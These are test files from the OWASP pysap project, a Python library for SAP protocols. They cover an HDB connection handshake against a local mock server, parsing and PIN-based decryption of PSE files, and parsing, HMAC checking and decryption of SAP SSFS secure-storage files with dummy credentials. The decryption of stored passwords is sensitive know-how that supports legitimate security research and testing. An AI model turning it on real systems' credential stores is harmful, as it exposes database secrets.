https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/ssfs_hdb_key -------------------------------------------------------------------------------- /tests/data/ssfs_npl_dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/ssfs_npl_dat -------------------------------------------------------------------------------- /tests/data/ssfs_npl_key: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/pysap/77b0a047e4b14ac7022171d6f09d4564fb9ecd60/tests/data/ssfs_npl_key -------------------------------------------------------------------------------- /tests/saphdb_test.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # Standard imports 20 | import sys 21 | import unittest 22 | from threading import Thread 23 | from SocketServer import BaseRequestHandler, ThreadingTCPServer 24 | # Custom imports 25 | from pysap.SAPHDB import SAPHDBConnection 26 | 27 | 28 | class SAPHDBServerTestHandler(BaseRequestHandler): 29 | """Basic SAP HDB server that performs initialization.""" 30 | 31 | def handle_data(self): 32 | self.request.recv(14) 33 | self.request.send("\x00" * 8) 34 | 35 | 36 | class PySAPHDBConnectionTest(unittest.TestCase): 37 | 38 | test_port = 30017 39 | test_address = "127.0.0.1" 40 | 41 | def start_server(self, address, port, handler_cls): 42 | self.server = ThreadingTCPServer((address, port), 43 | handler_cls, 44 | bind_and_activate=False) 45 | self.server.allow_reuse_address = True 46 | self.server.server_bind() 47 | self.server.server_activate() 48 | self.server_thread = Thread(target=self.server.serve_forever) 49 | self.server_thread.daemon = True 50 | self.server_thread.start() 51 | 52 | def stop_server(self): 53 | self.server.shutdown() 54 | self.server.server_close() 55 | self.server_thread.join(1) 56 | 57 | def test_saphdbconnection_initialize(self): 58 | """Test HDB Connection initialize""" 59 | self.start_server(self.test_address, self.test_port, SAPHDBServerTestHandler) 60 | 61 | client = SAPHDBConnection(self.test_address, self.test_port) 62 | client.connect() 63 | client.initialize() 64 | 65 | self.stop_server() 66 | 67 | 68 | def test_suite(): 69 | loader = unittest.TestLoader() 70 | suite = unittest.TestSuite() 71 | suite.addTest(loader.loadTestsFromTestCase(PySAPHDBConnectionTest)) 72 | return suite 73 | 74 | 75 | if __name__ == "__main__": 76 | test_runner = unittest.TextTestRunner(verbosity=2, resultclass=unittest.TextTestResult) 77 | result = test_runner.run(test_suite()) 78 | sys.exit(not result.wasSuccessful()) 79 | -------------------------------------------------------------------------------- /tests/sappse_test.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # Standard imports 20 | import sys 21 | import unittest 22 | # External imports 23 | # Custom imports 24 | from tests.utils import data_filename 25 | from pysap.SAPPSE import (SAPPSEFile, PKCS12_ALGORITHM_PBE1_SHA_3DES_CBC) 26 | 27 | 28 | class PySAPPSEv2Test(unittest.TestCase): 29 | 30 | iterations = 10000 31 | decrypt_pin = "1234567980" 32 | cert_name = "CN=PSEOwner" 33 | common_name = "PSEOwner" 34 | 35 | def test_pse_v2_lps_off_pbes1_3des_sha1(self): 36 | """Test parsing of a v2 PBES1 encrypted PSE with LPS off""" 37 | 38 | with open(data_filename("pse_v2_lps_off_pbes1_3des_sha1.pse"), "rb") as fd: 39 | s = fd.read() 40 | 41 | pse = SAPPSEFile(s) 42 | self.assertEqual(pse.version, 2) 43 | self.assertEqual(pse.enc_cont.algorithm_identifier.alg_id.val, PKCS12_ALGORITHM_PBE1_SHA_3DES_CBC) 44 | self.assertEqual(pse.enc_cont.algorithm_identifier.parameters.iterations, self.iterations) 45 | self.assertEqual(len(pse.enc_cont.algorithm_identifier.parameters.salt.val), 8) 46 | 47 | def test_pse_v2_lps_off_pbes1_3des_sha1_decrypt(self): 48 | """Test decryption of a v2 PBES1 encrypted PSE with LPS off""" 49 | 50 | with open(data_filename("pse_v2_lps_off_pbes1_3des_sha1.pse"), "rb") as fd: 51 | s = fd.read() 52 | 53 | pse = SAPPSEFile(s) 54 | self.assertRaisesRegexp(ValueError, "Invalid PIN supplied", pse.decrypt, "Some Invalid PIN") 55 | pse.decrypt(self.decrypt_pin) 56 | 57 | def test_pse_v4_lps_off_pbes1_3des_sha1(self): 58 | """Test parsing of a v4 PBES1 encrypted PSE with LPS off""" 59 | 60 | with open(data_filename("pse_v4_lps_off_pbes1_3des_sha1.pse"), "rb") as fd: 61 | s = fd.read() 62 | 63 | pse = SAPPSEFile(s) 64 | self.assertEqual(pse.version, 4) 65 | self.assertEqual(pse.enc_cont.algorithm_identifier.alg_id.val, PKCS12_ALGORITHM_PBE1_SHA_3DES_CBC) 66 | self.assertEqual(pse.enc_cont.algorithm_identifier.parameters.iterations, self.iterations) 67 | self.assertEqual(len(pse.enc_cont.algorithm_identifier.parameters.salt.val), 8) 68 | 69 | 70 | def test_suite(): 71 | loader = unittest.TestLoader() 72 | suite = unittest.TestSuite() 73 | suite.addTest(loader.loadTestsFromTestCase(PySAPPSEv2Test)) 74 | return suite 75 | 76 | 77 | if __name__ == "__main__": 78 | test_runner = unittest.TextTestRunner(verbosity=2, resultclass=unittest.TextTestResult) 79 | result = test_runner.run(test_suite()) 80 | sys.exit(not result.wasSuccessful()) 81 | -------------------------------------------------------------------------------- /tests/sapssfs_test.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # Standard imports 20 | import unittest 21 | # External imports 22 | # Custom imports 23 | from tests.utils import data_filename 24 | from pysap.SAPSSFS import (SAPSSFSKey, SAPSSFSKeyE, SAPSSFSData, SAPSSFSLock) 25 | 26 | 27 | class PySAPSSFSKeyTest(unittest.TestCase): 28 | 29 | USERNAME = "SomeUser " 30 | HOST = "ubuntu " 31 | 32 | def test_ssfs_key_parsing(self): 33 | """Test parsing of a SSFS Key file""" 34 | 35 | with open(data_filename("ssfs_hdb_key"), "rb") as fd: 36 | s = fd.read() 37 | 38 | key = SAPSSFSKey(s) 39 | 40 | self.assertEqual(key.preamble, "RSecSSFsKey") 41 | self.assertEqual(key.type, 1) 42 | self.assertEqual(key.user, self.USERNAME) 43 | self.assertEqual(key.host, self.HOST) 44 | 45 | 46 | class PySAPSSFSDataTest(unittest.TestCase): 47 | 48 | USERNAME = "SomeUser " 49 | HOST = "ubuntu " 50 | 51 | PLAIN_VALUES = {"HDB/KEYNAME/DB_CON_ENV": "Env", 52 | "HDB/KEYNAME/DB_DATABASE_NAME": "Database", 53 | "HDB/KEYNAME/DB_USER": "SomeUser", 54 | } 55 | 56 | def test_ssfs_data_parsing(self): 57 | """Test parsing of a SSFS Data file""" 58 | 59 | with open(data_filename("ssfs_hdb_dat"), "rb") as fd: 60 | s = fd.read() 61 | 62 | data = SAPSSFSData(s) 63 | self.assertEqual(len(data.records), 4) 64 | 65 | for record in data.records: 66 | self.assertEqual(record.preamble, "RSecSSFsData") 67 | self.assertEqual(record.length, len(record)) 68 | self.assertEqual(record.type, 1) 69 | self.assertEqual(record.user, self.USERNAME) 70 | self.assertEqual(record.host, self.HOST) 71 | 72 | def test_ssfs_data_record_lookup(self): 73 | """Test looking up for a record with a given key name in a SSFS Data file.""" 74 | 75 | with open(data_filename("ssfs_hdb_dat"), "rb") as fd: 76 | s = fd.read() 77 | 78 | data = SAPSSFSData(s) 79 | 80 | self.assertFalse(data.has_record("HDB/KEYNAME/UNEXISTENT")) 81 | self.assertIsNone(data.get_record("HDB/KEYNAME/UNEXISTENT")) 82 | self.assertIsNone(data.get_value("HDB/KEYNAME/UNEXISTENT")) 83 | 84 | for key, value in self.PLAIN_VALUES.items(): 85 | self.assertTrue(data.has_record(key)) 86 | self.assertIsNotNone(data.get_record(key)) 87 | self.assertEqual(data.get_value(key), value) 88 | 89 | record = data.get_record(key) 90 | self.assertTrue(record.is_stored_as_plaintext) 91 | 92 | def test_ssfs_data_record_hmac(self): 93 | """Test validation of header and data with HMAC field in a SSFS Data file.""" 94 | 95 | with open(data_filename("ssfs_hdb_dat"), "rb") as fd: 96 | s = fd.read() 97 | data = SAPSSFSData(s) 98 | 99 | for record in data.records: 100 | self.assertTrue(record.valid) 101 | 102 | # Now tamper with the header 103 | original_user = record.user 104 | record.user = "NewUser" 105 | self.assertFalse(record.valid) 106 | record.user = original_user 107 | self.assertTrue(record.valid) 108 | 109 | # Now tamper with the data 110 | orginal_data = record.data 111 | record.data = orginal_data + "AddedDataBytes" 112 | self.assertFalse(record.valid) 113 | record.data = orginal_data 114 | self.assertTrue(record.valid) 115 | 116 | # Now tamper with the HMAC 117 | orginal_hmac = record.hmac 118 | record.hmac = orginal_hmac[:-1] + "A" 119 | self.assertFalse(record.valid) 120 | record.hmac = orginal_hmac 121 | self.assertTrue(record.valid) 122 | 123 | 124 | class PySAPSSFSDataDecryptTest(unittest.TestCase): 125 | 126 | ENCRYPTED_VALUES = {"HDB/KEYNAME/DB_PASSWORD": "SomePassword"} 127 | 128 | def test_ssfs_data_record_decrypt(self): 129 | """Test decrypting a record with a given key in a SSFS Data file.""" 130 | 131 | with open(data_filename("ssfs_hdb_key"), "rb") as fd: 132 | s = fd.read() 133 | key = SAPSSFSKey(s) 134 | 135 | with open(data_filename("ssfs_hdb_dat"), "rb") as fd: 136 | s = fd.read() 137 | data = SAPSSFSData(s) 138 | 139 | for name, value in self.ENCRYPTED_VALUES.items(): 140 | self.assertTrue(data.has_record(name)) 141 | self.assertIsNotNone(data.get_record(name)) 142 | self.assertEqual(data.get_value(name, key), value) 143 | 144 | record = data.get_record(name) 145 | self.assertFalse(record.is_stored_as_plaintext) 146 | self.assertTrue(record.valid) 147 | 148 | class PySAPSSFSDataDecryptETest(unittest.TestCase): 149 | 150 | ENCRYPTED_VALUES = {"RS/CIPHERTEXT_VAL": "hellow0rld"} 151 | 152 | def test_ssfs_data_record_decrypt(self): 153 | """Test decrypting a record with a given key in a SSFS Data file.""" 154 | 155 | with open(data_filename("ssfs_npl_key"), "rb") as fd: 156 | s = fd.read() 157 | key = SAPSSFSKeyE(s) 158 | 159 | with open(data_filename("ssfs_npl_dat"), "rb") as fd: 160 | s = fd.read() 161 | data = SAPSSFSData(s) 162 | 163 | for name, value in self.ENCRYPTED_VALUES.items(): 164 | self.assertTrue(data.has_record(name)) 165 | self.assertIsNotNone(data.get_record(name)) 166 | self.assertEqual(data.get_value(name, key), value) 167 | 168 | record = data.get_record(name) 169 | self.assertFalse(record.is_stored_as_plaintext) 170 | self.assertTrue(record.valid) 171 | 172 | 173 | def test_suite(): 174 | loader = unittest.TestLoader() 175 | suite = unittest.TestSuite() 176 | suite.addTest(loader.loadTestsFromTestCase(PySAPSSFSKeyTest)) 177 | suite.addTest(loader.loadTestsFromTestCase(PySAPSSFSDataTest)) 178 | suite.addTest(loader.loadTestsFromTestCase(PySAPSSFSDataDecryptTest)) 179 | return suite 180 | 181 | 182 | if __name__ == "__main__": 183 | unittest.TextTestRunner(verbosity=2).run(test_suite()) 184 | -------------------------------------------------------------------------------- /tests/utils.py: -------------------------------------------------------------------------------- 1 | # encoding: utf-8 2 | # pysap - Python library for crafting SAP's network protocols packets 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License 6 | # as published by the Free Software Foundation; either version 2 7 | # of the License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | # 14 | # Author: 15 | # Martin Gallo (@martingalloar) 16 | # Code contributed by SecureAuth to the OWASP CBAS project 17 | # 18 | 19 | # Standard imports 20 | from binascii import unhexlify 21 | from os.path import join as join, dirname 22 | 23 | 24 | def data_filename(filename): 25 | return join(dirname(__file__), 'data', filename) 26 | 27 | 28 | def read_data_file(filename, unhex=True): 29 | filename = data_filename(filename) 30 | with open(filename, 'r') as f: 31 | data = f.read() 32 | 33 | data = data.replace('\n', ' ').replace(' ', '') 34 | if unhex: 35 | data = unhexlify(data) 36 | 37 | return data 38 | --------------------------------------------------------------------------------